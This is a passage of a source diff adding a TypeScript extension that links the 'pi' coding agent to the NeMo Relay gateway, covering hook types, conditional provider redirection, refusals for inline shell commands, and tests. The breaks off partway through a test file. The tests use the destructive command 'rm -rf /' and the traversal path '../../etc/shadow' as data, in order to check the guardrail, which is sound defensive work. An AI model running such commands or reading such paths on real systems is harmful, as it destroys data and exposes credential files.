'agent_start' }; + +/** + * Fired when an agent loop ends. + * + * Note the absence of `willRetry`: the *public session* `agent_end` carries it, + * the extension-facing one does not, and `auto_retry_start`/`_end` never reach + * extensions at all. Detecting a retry here is therefore impossible; close the + * logical run on `agent_settled` instead. + */ +export type AgentEndEvent = { type: 'agent_end'; messages: unknown[] }; + +/** Fired once per logical agent run, from a `finally`. */ +export type AgentSettledEvent = { type: 'agent_settled' }; + +/** Fired at the start of each turn. `turnIndex` resets to 0 on run re-entry. */ +export type TurnStartEvent = { type: 'turn_start'; turnIndex: number; timestamp: number }; + +export type TurnEndEvent = { + type: 'turn_end'; + turnIndex: number; + message: unknown; + toolResults: unknown[]; +}; + +export type SessionStartEvent = { + type: 'session_start'; + reason: 'startup' | 'reload' | 'new' | 'resume' | 'fork'; + previousSessionFile?: string; +}; + +/** + * Fired when the current session is torn down. + * + * `reason` matters: only `quit` and the session-replacement reasons mean the + * session is actually over. `reload` tears down and rebuilds the extension + * runtime while the session itself continues, so treating it as an end splits + * one logical session into two traces. + */ +export type SessionShutdownEvent = { + type: 'session_shutdown'; + reason: 'quit' | 'reload' | 'new' | 'resume' | 'fork'; + /** Destination session file when shutting down due to session replacement. */ + targetSessionFile?: string; +}; + +/** + * Fired *before* context compaction, and cancellable. + * + * `willRetry` is the one place pi tells an extension that a re-entry is coming: + * the extension-facing `agent_end` carries no such marker. `preparation` also + * carries the pre-compaction token count and whether the cut lands mid-turn. + * + * A handler must return `undefined` here. Returning an object is how pi's API + * spells "cancel this compaction, or replace its result", so an accidental + * return value from an observability hook would change pi's behavior. + */ +export type SessionBeforeCompactEvent = { + type: 'session_before_compact'; + reason: 'manual' | 'threshold' | 'overflow'; + willRetry: boolean; + preparation?: { tokensBefore?: number; isSplitTurn?: boolean }; +}; + +/** Fired after context compaction has actually happened. Not cancellable. */ +export type SessionCompactEvent = { + type: 'session_compact'; + reason: 'manual' | 'threshold' | 'overflow'; + willRetry: boolean; + fromExtension: boolean; + compactionEntry?: { tokensBefore?: number }; +}; + +/** + * Fired when a tool starts executing. + * + * Fires *before* argument validation and before the `tool_call` hook, and also + * for calls that never execute, so a handle map keyed on this must tolerate a + * miss. `args` are the pre-clone originals. + */ +export type ToolExecutionStartEvent = { + type: 'tool_execution_start'; + toolCallId: string; + toolName: string; + args: unknown; +}; + +export type ToolExecutionEndEvent = { + type: 'tool_execution_end'; + toolCallId: string; + toolName: string; + result: unknown; + isError: boolean; +}; + +/** + * Fired before a tool executes; the only pi hook that can block. + * + * `input` is mutable -- mutating it in place patches the arguments, later + * `tool_call` handlers see earlier mutations, and no re-validation happens + * afterwards. + */ +export type ToolCallEvent = { + type: 'tool_call'; + toolCallId: string; + toolName: string; + input: Record; +}; + +/** + * Returning `{block: true}` short-circuits the remaining `tool_call` handlers. + * + * Nothing else does. A truthy result without `block` is *retained* but does not + * stop iteration, so a handler that runs after this one still sees -- and can + * still mutate -- the same `input` object, with no re-validation before it + * executes. Loading first protects against being pre-empted; it does not make the + * verdict final. + */ +export type ToolCallEventResult = { + block?: boolean; + reason?: string; +}; + +/** + * Fired when the user runs a shell command inline with the `!` or `!!` prefix. + * + * This path never reaches the tool registry, so `tool_call` does not see it and + * none of the tool gating applies. `excludeFromContext` is the `!!` form, which + * keeps the command and its output out of the model's context -- including the + * output of a refusal. + * + * It fires in pi's interactive TUI and in RPC mode's `bash` command; there is no + * bang prefix in headless `-p` mode, which has no input loop to type it into. + */ +export type UserBashEvent = { + type: 'user_bash'; + command: string; + excludeFromContext: boolean; + cwd: string; +}; + +/** + * Returning `result` makes pi skip execution and record that result as if the + * command had run; returning `operations` replaces the execution backend but + * keeps the original command. There is no block-and-reason form, so a refusal + * is a synthetic failed result -- see `src/user-bash.ts`. + * + * Unlike `tool_call`, `emitUserBash` wraps handlers in try/catch, so an + * exception here fails **open**: pi logs it and runs the command. And the first + * handler to return anything at all wins, so an earlier-loading extension can + * preempt this one -- `pi -e` loads first, `pi install` loads last. + */ +export type UserBashEventResult = { + result?: { + output: string; + exitCode: number | undefined; + cancelled: boolean; + truncated: boolean; + }; +}; + +/** A model, narrowed to the fields this extension reads. */ +export type PiModel = { + id: string; + api: string; + provider: string; + baseUrl: string; +}; + +/** Fired when a model is selected, including the initial selection. */ +export type ModelSelectEvent = { + type: 'model_select'; + model: PiModel; + previousModel?: PiModel; + source?: string; +}; + +/** Minimal view of pi's extension context. */ +export type ExtensionContext = { + cwd: string; + mode: string; + hasUI: boolean; + sessionManager: { getSessionId(): string }; + /** The active model. Undefined before one is resolved. */ + model?: PiModel; + /** + * The catalog, used to see a provider's *other* models before redirecting it. + * + * `registerProvider(name, {baseUrl})` rewrites every model of the provider, so + * a decision taken from the active model alone silently moves its siblings. + * Optional because a caller may not supply one; without it the check degrades + * to per-model, which is unsound for a provider that mixes API families. + */ + modelRegistry?: { getAll(): PiModel[] }; +}; + +export type ExtensionHandler = ( + event: TEvent, + ctx: ExtensionContext, +) => TResult | undefined | Promise; + +/** Minimal view of pi's `ExtensionAPI`, limited to what this extension registers. */ +export type ExtensionAPI = { + on(event: 'session_start', handler: ExtensionHandler): void; + on(event: 'session_shutdown', handler: ExtensionHandler): void; + on(event: 'session_before_compact', handler: ExtensionHandler): void; + on(event: 'session_compact', handler: ExtensionHandler): void; + on(event: 'agent_start', handler: ExtensionHandler): void; + on(event: 'agent_end', handler: ExtensionHandler): void; + on(event: 'agent_settled', handler: ExtensionHandler): void; + on(event: 'turn_start', handler: ExtensionHandler): void; + on(event: 'turn_end', handler: ExtensionHandler): void; + on(event: 'tool_execution_start', handler: ExtensionHandler): void; + on(event: 'tool_execution_end', handler: ExtensionHandler): void; + on(event: 'tool_call', handler: ExtensionHandler): void; + on(event: 'user_bash', handler: ExtensionHandler): void; + on(event: 'model_select', handler: ExtensionHandler): void; + + /** + * Register or override a model provider. + * + * With `baseUrl` and no `models`, pi rewrites the URL of every existing model + * for that provider and preserves their API, headers and costs + * (`core/provider-composer.ts:215`). During initial extension load the call is + * queued and applied once the runner binds its context, so calling it from a + * factory is safe. + */ + registerProvider( + name: string, + config: { baseUrl?: string; headers?: Record }, + ): void; +}; diff --git a/integrations/pi/src/provider-redirect.ts b/integrations/pi/src/provider-redirect.ts new file mode 100644 index 000000000..605bdfdb3 --- /dev/null +++ b/integrations/pi/src/provider-redirect.ts @@ -0,0 +1,307 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Points pi's model traffic at the NeMo Relay gateway. + * + * pi has no base-URL flag and no generic environment override -- it resolves a + * base URL per model from a generated catalog -- so redirection has to happen + * inside the extension. The mechanism is one call: + * + * ```ts + * pi.registerProvider(providerId, { baseUrl: gatewayUrl }); + * ``` + * + * With `baseUrl` and no `models`, pi rewrites the URL of every existing model + * for that provider and keeps their API, headers, costs and context windows + * (`applyExtension`, pi `v0.84.0`, `core/provider-composer.ts:215`). That is far + * cheaper than pi's own `custom-provider-*` examples, which register a + * `streamSimple` and re-implement a provider protocol; the extension stays a + * thin client. + * + * **Redirection is conditional, and the condition is the whole design.** The + * gateway forwards to one statically configured upstream per API family and a + * client cannot override it per request -- inbound internal dispatch headers + * are stripped. So sending a model's traffic to the gateway is only correct + * when the gateway's upstream *is* the endpoint that model would otherwise + * call. Redirecting an NVIDIA model into a gateway configured for + * `api.openai.com` does not degrade to "no spans"; it breaks the session. + * + * The launcher therefore passes the gateway's own upstreams + * (`NEMO_RELAY_PI_OPENAI_UPSTREAM`, `NEMO_RELAY_PI_ANTHROPIC_UPSTREAM`) and + * this module redirects only on a match. Unmatched models keep their own + * endpoint and produce no LLM spans, which is the honest outcome. + */ + +/** + * The API families the gateway serves, mapped to the upstream that backs each. + * + * A `Map` rather than an object literal because pi does not constrain this key: + * `api` is `KnownApi | (string & {})` and reaches us from models.json, remote + * catalogs and other extensions. On an object literal an `api` of `constructor` + * or `__proto__` resolves through the prototype chain to something truthy, so + * the unserviceable-API guard -- whose whole job is to keep a model the gateway + * cannot route out of the gateway -- would not fire, and the model was scored + * against the Anthropic upstream instead. + */ +const SERVICEABLE_APIS = new Map([ + ['openai-completions', 'openai'], + ['openai-responses', 'openai'], + ['anthropic-messages', 'anthropic'], +]); + +export type RedirectConfig = { + /** Gateway base URL; the root, never root + `/v1`. */ + gatewayUrl: string; + /** What the gateway forwards OpenAI-compatible traffic to, when known. */ + openaiUpstream?: string; + /** What the gateway forwards Anthropic traffic to, when known. */ + anthropicUpstream?: string; + /** + * `match` (default) redirects only when the model's endpoint is the + * gateway's upstream. `force` skips that check for operators who know their + * gateway is correct but did not launch through `nemo-relay run`. `off` + * disables redirection entirely. + */ + mode: 'match' | 'force' | 'off'; + /** + * This invocation's transparent-proxy credential, when the launcher set one. + * + * A gateway started by `nemo-relay run` authenticates its own client before a + * request intercept can rewrite the route, and rejects a provider call that + * does not present it (`crates/cli/src/provider_auth.rs`). Hook posts are not + * covered by that check -- only provider passthrough is -- so without this the + * redirect succeeds and then every model call comes back 401, which is the one + * outcome the redirect exists to produce spans for. + * + * Absent for a standalone `nemo-relay --bind` daemon, which requires no + * credential, so the key is omitted rather than sent empty. + */ + proxyToken?: string; +}; + +/** A model, narrowed to the fields redirection depends on. */ +export type RedirectModel = { + id: string; + api: string; + provider: string; + baseUrl: string; +}; + +/** + * Why a redirect did or did not happen. + * + * `code` exists so callers can tell a transient skip from one worth recording. + * `no-model` and `already-redirected` are bookkeeping -- a `model_select` is + * either coming or the work is done -- while the rest are the reasons a user + * ends up staring at a trace with no LLM spans, and belong in that trace. + */ +export type RedirectSkipCode = + | 'disabled' + | 'no-model' + | 'already-redirected' + | 'unserviceable-api' + | 'unknown-upstream' + | 'upstream-mismatch' + | 'provider-mixed-endpoints'; + +export type RedirectDecision = + | { kind: 'redirect'; provider: string; api: string; upstream: string; reason: string } + | { kind: 'skip'; code: RedirectSkipCode; provider?: string; api?: string; reason: string }; + +/** + * Whether one model could be pointed at the gateway without breaking it. + * + * The same two conditions the selected model must satisfy: the gateway serves its + * API family, and it already targets the endpoint the gateway forwards that family + * to. Applied to every sibling because the registration is provider-wide. + */ +function isSafeToRedirect(model: RedirectModel, config: RedirectConfig): boolean { + const family = SERVICEABLE_APIS.get(model.api); + if (!family) return false; + const upstream = family === 'openai' ? config.openaiUpstream : config.anthropicUpstream; + if (!upstream) return false; + return normalizeBaseUrl(upstream) === normalizeBaseUrl(model.baseUrl); +} + +/** Whether this outcome explains something a trace reader would otherwise have to guess. */ +export function isNotable(decision: RedirectDecision): boolean { + return decision.kind === 'redirect' || !['no-model', 'already-redirected'].includes(decision.code); +} + +/** + * Normalize a base URL for comparison. + * + * Compares scheme, host, port and path with trailing slashes removed. A + * trailing `/v1` is *not* stripped: pi's Anthropic catalog entry is + * `https://api.anthropic.com` while its OpenAI entry is + * `https://api.openai.com/v1`, and the gateway's two defaults match those + * exactly, so treating `/v1` as noise would equate genuinely different + * endpoints on providers that host several API versions. + */ +export function normalizeBaseUrl(value: string): string { + const trimmed = value.trim().replace(/\/+$/, ''); + try { + const url = new URL(trimmed); + const path = url.pathname.replace(/\/+$/, ''); + return `${url.protocol}//${url.host.toLowerCase()}${path}`; + } catch { + return trimmed.toLowerCase(); + } +} + +/** + * Decide whether this model's provider should be pointed at the gateway. + * + * Pure, so the decision matrix is testable without a pi runtime. `redirected` + * carries providers already pointed at the gateway, which makes the call + * idempotent: once a provider is redirected, `model.baseUrl` reads back as the + * gateway and the upstream comparison would otherwise fail on the second call. + */ +export function decideRedirect( + model: RedirectModel | undefined, + config: RedirectConfig, + redirected: ReadonlySet, + /** + * Every model of `model.provider`, as the catalog had them **before** any + * redirect. Optional only so an older caller still type-checks; omitting it + * restores the per-model check, which is unsound for a mixed provider. + */ + siblings: readonly RedirectModel[] = [], +): RedirectDecision { + if (config.mode === 'off') { + return { + kind: 'skip', + code: 'disabled', + reason: 'redirection disabled by NEMO_RELAY_PI_REDIRECT=off', + }; + } + if (!model) { + return { kind: 'skip', code: 'no-model', reason: 'no model selected yet' }; + } + if (redirected.has(model.provider)) { + return { + kind: 'skip', + code: 'already-redirected', + provider: model.provider, + api: model.api, + reason: 'already redirected', + }; + } + + const family = SERVICEABLE_APIS.get(model.api); + if (!family) { + // Seven of pi's 39 built-in providers speak an API the gateway has no + // route for: Bedrock, Azure OpenAI Responses, Google, Google Vertex, + // Mistral, OpenAI Codex, and Radius (`pi-messages`). Redirecting them would + // 404 rather than degrade. + // + // Counted from `builtinProviders()`, not from the 38 files in + // `providers/data/` -- Radius is a purely dynamic provider with no static + // catalog entry, so a file count silently loses it. + return { + kind: 'skip', + code: 'unserviceable-api', + provider: model.provider, + api: model.api, + reason: `the gateway serves no route for the ${model.api} API`, + }; + } + + const upstream = family === 'openai' ? config.openaiUpstream : config.anthropicUpstream; + + if (config.mode === 'force') { + return { + kind: 'redirect', + provider: model.provider, + api: model.api, + upstream: model.baseUrl, + reason: 'NEMO_RELAY_PI_REDIRECT=force; upstream match not checked', + }; + } + + if (!upstream) { + // Launched outside `nemo-relay run --agent pi`, so the gateway's upstream + // is unknown. Staying put is the safe default: a wrong redirect breaks the + // session, a skipped one only costs spans. + return { + kind: 'skip', + code: 'unknown-upstream', + provider: model.provider, + api: model.api, + reason: + `the gateway's ${family} upstream is unknown, so a redirect cannot be verified as safe; ` + + `launch through \`nemo-relay run --agent pi\`, or set NEMO_RELAY_PI_REDIRECT=force`, + }; + } + + // Ahead of the sibling scan, deliberately. pi's `modelRegistry.getAll()` returns + // the selected model too, so it is one of its own siblings -- and while the scan + // ran first, an ordinary endpoint mismatch was reported as + // `provider-mixed-endpoints`, naming the selected model as the sibling that + // blocked it. Same decision either way; this is the code an operator can act on. + if (normalizeBaseUrl(upstream) !== normalizeBaseUrl(model.baseUrl)) { + return { + kind: 'skip', + code: 'upstream-mismatch', + provider: model.provider, + api: model.api, + reason: + `model targets ${model.baseUrl} but the gateway forwards ${family} traffic to ${upstream}; ` + + `redirecting would send the request to the wrong provider`, + }; + } + + // `registerProvider(name, {baseUrl})` rewrites the URL of EVERY model of that + // provider, so a decision made from the selected model alone is a decision made + // on behalf of its siblings. Several pi 0.84 providers mix API families at + // different paths -- Fireworks serves anthropic-messages at `/inference` and + // openai-completions at `/inference/v1`; opencode adds Google models the gateway + // cannot route at all -- so redirecting on the strength of one model points the + // others somewhere that has never heard of them. That is not "no spans", it is a + // broken session, mid-run, after the user changed only the model. + const unsafe = siblings.find((sibling) => !isSafeToRedirect(sibling, config)); + if (unsafe) { + return { + kind: 'skip', + code: 'provider-mixed-endpoints', + provider: model.provider, + api: model.api, + reason: + `redirecting ${model.provider} would also move its ${unsafe.api} models, and ` + + `${unsafe.id} targets ${unsafe.baseUrl}, which the gateway does not front; ` + + `point both upstreams at ${model.provider}, or accept no LLM spans for it`, + }; + } + + return { + kind: 'redirect', + provider: model.provider, + api: model.api, + upstream: model.baseUrl, + reason: `gateway forwards ${family} traffic to the same endpoint (${upstream})`, + }; +} + +/** Read redirection configuration from the environment the launcher sets. */ +export function redirectConfigFromEnv(gatewayUrl: string): RedirectConfig { + const raw = process.env.NEMO_RELAY_PI_REDIRECT; + const mode = raw === 'off' ? 'off' : raw === 'force' ? 'force' : 'match'; + // Spread conditionally rather than assigning `undefined`: the package builds + // under `exactOptionalPropertyTypes`, where an explicit `undefined` is not + // the same as an absent key. + const openaiUpstream = process.env.NEMO_RELAY_PI_OPENAI_UPSTREAM; + const anthropicUpstream = process.env.NEMO_RELAY_PI_ANTHROPIC_UPSTREAM; + // Not a `NEMO_RELAY_PI_*` name, deliberately: the launcher exports this one for + // every agent it starts, and Codex reads the same variable through its + // `env_http_headers` provider configuration. A pi-specific alias would be a + // second name for one value, and the two could drift. + const proxyToken = process.env.NEMO_RELAY_PROXY_CREDENTIAL; + return { + gatewayUrl, + mode, + ...(openaiUpstream ? { openaiUpstream } : {}), + ...(anthropicUpstream ? { anthropicUpstream } : {}), + ...(proxyToken ? { proxyToken } : {}), + }; +} diff --git a/integrations/pi/src/user-bash.ts b/integrations/pi/src/user-bash.ts new file mode 100644 index 000000000..33167ce7b --- /dev/null +++ b/integrations/pi/src/user-bash.ts @@ -0,0 +1,120 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * The refusal half of the inline-shell gate. + * + * pi's bang-prefixed shell (`!cmd`, and `!!cmd` to keep the output out of the + * model's context) never touches the tool path: it goes to `emitUserBash`, so + * none of the `tool_call` gating covers it. `user_bash` *is* interceptable -- + * a handler that returns a `BashResult` makes pi skip execution entirely and + * record that result instead -- but pi gives the hook no block-and-reason + * contract the way `tool_call` does. There is no `{block, reason}` here. + * + * So a refusal has to be a **synthetic failed `BashResult`**, and its shape is + * a design decision rather than something pi dictates: + * + * - `exitCode` is {@link REFUSED_EXIT_CODE}, the shell convention for "found, + * but could not be executed". It is not 0 (which would read as success), not + * 1 (which every failing command already uses, so a policy refusal would be + * indistinguishable from the command failing), and not 127 (which means "not + * found" and would send a user hunting for a missing binary). + * - `output` is what the user sees in the terminal, and -- for `!cmd`, though + * not for `!!cmd` -- what lands in the model's context, because pi records a + * returned result through `recordBashResult` exactly as if the command had + * run. It is one attribution line followed by the gateway's reason verbatim, + * on the standing rule that the reason string is a prompt: it reaches a model + * unframed, so it should read as guidance rather than as an error code. + * - `cancelled` and `truncated` are false: nothing was started, so nothing was + * interrupted, and the message is whole. + * + * **Never throw from the handler.** `emitUserBash` wraps handlers in + * try/catch and moves on, so a thrown error fails *open* and the command runs + * unchecked -- the opposite of `tool_call`, which has no try/catch and fails + * closed. Every path here returns an explicit decision. + */ + +/** + * pi's `BashResult`, narrowed to the fields a synthetic refusal sets. + * + * Mirrored from pi `v0.84.0`, `core/bash-executor.ts`. `fullOutputPath` is + * deliberately absent: it points at a temp file holding output too large to + * inline, and a refusal has no output beyond its reason. + */ +export type BashResult = { + output: string; + exitCode: number | undefined; + cancelled: boolean; + truncated: boolean; +}; + +/** + * Exit code reported for a command the gateway refused. + * + * 126 is the POSIX shell convention for a command that was found but could not + * be executed -- a permission problem rather than a missing binary -- which is + * the closest existing meaning to "a policy declined to run this". + */ +export const REFUSED_EXIT_CODE = 126; + +/** + * The tool name an inline shell command is gated under. + * + * Deliberately **not** `bash`. pi's `bash` tool and the bang prefix are two + * different things with different provenance: one is proposed by the model, the + * other is typed by the user. A guardrail only receives the tool name and the + * arguments, so if both arrived as `bash` a policy could not tell them apart -- + * and "the model may not run shell commands" is a common rule that should not + * also stop the human from typing `!git status`. Keeping the names distinct + * makes the policy author choose; the cost is that a policy which wants to + * cover both has to name both, which the docs state. + */ +export const USER_BASH_TOOL_NAME = 'user_bash'; + +/** Hook event posted when the gate opens, and its synthesized close. */ +export const USER_BASH_HOOK = 'user_bash'; +export const USER_BASH_END_HOOK = 'user_bash_end'; + +/** First line of every refusal, so the user knows what declined the command. */ +const ATTRIBUTION = 'NeMo Relay blocked this command.'; + +/** + * Build the result pi records in place of running the command. + * + * The reason is reproduced verbatim after the attribution line; it is the + * guardrail's own words, and for `!cmd` the model reads it. + */ +export function refusalResult(reason: string): BashResult { + return { + output: `${ATTRIBUTION}\n\n${reason}`, + exitCode: REFUSED_EXIT_CODE, + cancelled: false, + truncated: false, + }; +} + +/** + * The reason used when a request intercept rewrote an inline shell command. + * + * pi's `UserBashEventResult` can replace the *result* or supply custom + * execution `operations`, but it cannot replace the command: both call sites + * pass the original string on to `executeBash`, and neither reads anything back + * out of the event. Taking over execution to run the rewrite instead + * would mean reimplementing pi's shell selection, command prefix and + * process-tree cancellation, which is a behavior change the sidecar has no + * business making. + * + * So the rewrite cannot be honored, and the command is refused rather than run + * unmodified -- the same rule the tool path already applies to a transform it + * cannot apply safely, and for the same reason: running the original would + * silently discard a policy decision. + */ +export function transformRefusalReason(): string { + return ( + 'A NeMo Relay policy rewrote the arguments for this command, but pi provides no way to ' + + 'execute a rewritten inline shell command -- the bang prefix runs the text you typed. The ' + + 'command was refused rather than run unmodified, because running it would ignore the policy. ' + + 'Re-run it with the change applied by hand, or ask the policy owner to gate the bash tool ' + + 'instead. This is a configuration problem in the policy, not a judgment about the command.' + ); +} diff --git a/integrations/pi/test/argument-transform.test.mjs b/integrations/pi/test/argument-transform.test.mjs new file mode 100644 index 000000000..cc2a5c88a --- /dev/null +++ b/integrations/pi/test/argument-transform.test.mjs @@ -0,0 +1,161 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * The argument-transform decision matrix. + * + * pi validates tool arguments *before* the `tool_call` hook and never + * re-validates, so a rewrite that violates the schema would execute. The schema + * is reachable -- `pi.getAllTools()` exposes it -- and deliberately not used, + * because pi's tool set is per-session mutable and one read goes stale. The + * shape check is what stands in for validation instead: same keys, same JSON + * types, recursively. These tests pin both the cases it must allow and the ones + * it must refuse. + * + * Run: node --test integrations/pi/test/*.test.mjs + */ +import assert from 'node:assert/strict'; +import { describe, it } from 'node:test'; + +const { applyTransform, decideTransform, refusalReason, shapeViolation } = await import( + '../src/argument-transform.ts' +); + +const CALL = 'call-1'; +const envelope = (input, id = CALL) => ({ tool_call: { tool_call_id: id, input } }); + +describe('transform decision', () => { + it('has nothing to do when the body carries no transform', () => { + assert.equal(decideTransform({}, CALL, { path: 'a.txt' }).kind, 'none'); + assert.equal(decideTransform(null, CALL, { path: 'a.txt' }).kind, 'none'); + assert.equal(decideTransform({ tool_call: {} }, CALL, { path: 'a.txt' }).kind, 'none'); + }); + + // The use case this exists for: a policy rewriting a path or redacting a value. + it('applies a value rewrite that preserves the shape', () => { + const outcome = decideTransform( + envelope({ path: '.env.example' }), + CALL, + { path: '.env' }, + ); + assert.equal(outcome.kind, 'apply'); + assert.deepEqual(outcome.input, { path: '.env.example' }); + }); + + it('refuses an added or removed key', () => { + const added = decideTransform(envelope({ path: 'a.txt', sudo: true }), CALL, { path: 'a.txt' }); + assert.equal(added.kind, 'refuse'); + assert.match(added.reason, /added sudo/); + + const removed = decideTransform(envelope({}), CALL, { path: 'a.txt' }); + assert.equal(removed.kind, 'refuse'); + assert.match(removed.reason, /removed path/); + }); + + // A required string becoming null is exactly the schema violation pi would execute unchecked. + it('refuses a type change, including to null', () => { + for (const value of [null, 42, ['a.txt'], { nested: true }]) { + const outcome = decideTransform(envelope({ path: value }), CALL, { path: 'a.txt' }); + assert.equal(outcome.kind, 'refuse', JSON.stringify(value)); + assert.match(outcome.reason, /input\.path changed type/); + } + }); + + it('checks nested objects and arrays, naming the path', () => { + const nested = decideTransform( + envelope({ opts: { limit: 'ten' } }), + CALL, + { opts: { limit: 10 } }, + ); + assert.equal(nested.kind, 'refuse'); + assert.match(nested.reason, /input\.opts\.limit changed type from number to string/); + + const shorter = decideTransform(envelope({ paths: ['a'] }), CALL, { paths: ['a', 'b'] }); + assert.equal(shorter.kind, 'refuse'); + assert.match(shorter.reason, /input\.paths changed length from 2 to 1/); + + const ok = decideTransform(envelope({ paths: ['x', 'y'] }), CALL, { paths: ['a', 'b'] }); + assert.equal(ok.kind, 'apply'); + }); + + // A body for a different call means the two sides disagree about what is in flight; applying it + // would rewrite one tool call with another's arguments. + it('refuses a transform addressed to a different tool call', () => { + const outcome = decideTransform(envelope({ path: 'b.txt' }, 'call-2'), CALL, { path: 'a.txt' }); + assert.equal(outcome.kind, 'refuse'); + assert.match(outcome.reason, /call-2, not call-1/); + }); + + // The echoed id is the only thing proving the transform belongs to the call we + // posted. A missing or non-string one used to skip the check entirely, so a + // truncated body could rewrite the wrong call's arguments. + it('refuses a transform whose call id is missing or not a string', () => { + // Built by hand rather than through `envelope`, whose default parameter would + // substitute a valid id for the absent case and quietly test nothing. + const bodies = [ + ['absent', { tool_call: { input: { path: 'b.txt' } } }], + ['null', { tool_call: { tool_call_id: null, input: { path: 'b.txt' } } }], + ['number', { tool_call: { tool_call_id: 42, input: { path: 'b.txt' } } }], + ['object', { tool_call: { tool_call_id: { id: CALL }, input: { path: 'b.txt' } } }], + ['array', { tool_call: { tool_call_id: [CALL], input: { path: 'b.txt' } } }], + ]; + for (const [label, body] of bodies) { + const outcome = decideTransform(body, CALL, { path: 'a.txt' }); + assert.equal(outcome.kind, 'refuse', `a ${label} call id must be refused`); + assert.match(outcome.reason, /not call-1/); + } + }); + + it('refuses a non-object transform', () => { + const outcome = decideTransform(envelope('rm -rf /'), CALL, { path: 'a.txt' }); + assert.equal(outcome.kind, 'refuse'); + assert.match(outcome.reason, /is string, not an object/); + }); +}); + +describe('what the shape check does not promise', () => { + // Documented limitation, asserted so it is not mistaken for validation: the check does not + // consult the tool's schema, so pattern/enum/range violations pass and will execute. + it('allows a value the schema might still reject', () => { + assert.equal(shapeViolation({ path: 'a.txt' }, { path: '../../etc/shadow' }), null); + assert.equal(shapeViolation({ mode: 'read' }, { mode: 'not-an-enum-member' }), null); + }); + + // The check is structural, not content-aware: a shortened string is still a string, so a + // truncated argument would come back rewritten and be applied verbatim -- a `write` would land + // on disk cut short. This is why the gated post forwards arguments whole while results are + // bounded at 2000 characters. See "What Is Not Represented" in the README. + it('cannot tell a shortened string from the original, which is why arguments are never truncated', () => { + assert.equal( + shapeViolation( + { path: '/work/a.txt', content: 'a much longer original body' }, + { path: '/work/a.txt', content: 'short' }, + ), + null, + ); + }); +}); + +describe('applying the transform', () => { + // In place is required, not stylistic: pi hands the same object to the tool and to later + // handlers, so replacing the reference would be silently discarded. + it('mutates the object pi will execute rather than replacing it', () => { + const input = { path: '.env', encoding: 'utf8' }; + const seenByPi = input; + applyTransform(input, { path: '.env.example', encoding: 'utf8' }); + assert.equal(seenByPi.path, '.env.example'); + assert.equal(seenByPi, input); + }); +}); + +describe('the refusal reason', () => { + // pi hands the reason to the model verbatim, so it has to read as guidance and must not look + // like the model did something wrong. + it('names the tool, the cause, and that it is not a judgment of the request', () => { + const reason = refusalReason('read', 'input added sudo'); + assert.match(reason, /read/); + assert.match(reason, /input added sudo/); + assert.match(reason, /not a judgment about your request/); + assert.match(reason, /blocked rather than run with the original/); + }); +}); diff --git a/integrations/pi/test/fixtures/reentry-driver.ts b/integrations/pi/test/fixtures/reentry-driver.ts new file mode 100644 index 000000000..6a38bdd17 --- /dev/null +++ b/integrations/pi/test/fixtures/reentry-driver.ts @@ -0,0 +1,36 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Test fixture: forces exactly one agent-run re-entry. + * + * pi re-enters the agent run from `_handlePostAgentRun` on three paths -- + * provider retry, compaction, and a queued follow-up. The queued-follow-up path + * is the only one an extension can trigger deterministically, and pi documents + * it explicitly: messages queued by an `agent_end` handler "need a + * continuation", so `agent.continue()` runs and a fresh `agent_start` fires with + * `turnIndex` reset to 0. + * + * This drives the *real* re-entry path rather than simulating it, which is the + * point -- the colliding turn indices it produces are pi's, not the fixture's. + * + * Load it alongside the Relay extension: + * pi -e -e + */ +import type { ExtensionAPI } from '../../src/pi-hook-types.ts'; + +/** pi's `sendUserMessage`, which the mirrored type subset does not declare. */ +type ReentryCapableApi = ExtensionAPI & { + sendUserMessage(text: string, options?: { deliverAs?: 'steer' | 'followUp' }): void; +}; + +export default function reentryDriver(pi: ReentryCapableApi): void { + let fired = false; + + pi.on('agent_end', async () => { + // Fire once only: queueing on every agent_end would re-enter forever. + if (fired) return; + fired = true; + pi.sendUserMessage('Now reply with exactly the word: done', { deliverAs: 'followUp' }); + }); +} diff --git a/integrations/pi/test/gateway-client.test.mjs b/integrations/pi/test/gateway-client.test.mjs new file mode 100644 index 000000000..490ed2569 --- /dev/null +++ b/integrations/pi/test/gateway-client.test.mjs @@ -0,0 +1,266 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Tests the extension's half of the `/hooks/pi` wire contract. + * + * The gateway's half is pinned in Rust by + * `pi_tool_call_hook_rejects_when_conditional_guardrail_blocks` and + * `pi_tool_call_hook_allows_when_no_guardrail_objects` + * (`crates/cli/tests/coverage/shared/server_tests.rs`). These tests run against + * a local HTTP server that reproduces the exact shapes those tests assert, so + * the two halves are checked against the same contract from both sides. + * + * Run: node --test integrations/pi/test/*.test.mjs + */ +import assert from 'node:assert/strict'; +import { createServer } from 'node:http'; +import { after, before, describe, it } from 'node:test'; + +const { postHook, resolveFault, configFromEnv } = await import('../src/gateway-client.ts'); + +/** Start a server that replies with `handler(requestBody)`. */ +function serve(handler) { + const received = []; + const server = createServer((req, res) => { + let body = ''; + req.on('data', (chunk) => { + body += chunk; + }); + req.on('end', () => { + received.push({ url: req.url, headers: req.headers, body: JSON.parse(body || '{}') }); + const { status, payload, raw, delayMs } = handler(received.at(-1)); + const send = () => { + res.writeHead(status, { 'content-type': 'application/json' }); + // `raw` lets a case emit a body JSON.parse cannot read. + res.end(raw ?? JSON.stringify(payload ?? {})); + }; + if (delayMs) setTimeout(send, delayMs); + else send(); + }); + }); + return { server, received }; +} + +async function listen(server) { + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + return `http://127.0.0.1:${server.address().port}`; +} + +const baseConfig = (url, overrides = {}) => ({ + url, + timeoutMs: 2000, + onFault: 'open', + sessionId: 'test-session', + ...overrides, +}); + +describe('gateway client wire contract', () => { + let ctx; + let url; + + before(async () => { + ctx = serve((request) => { + const name = request.body.hook_event_name; + if (name === 'slow') return { status: 200, payload: {}, delayMs: 500 }; + if 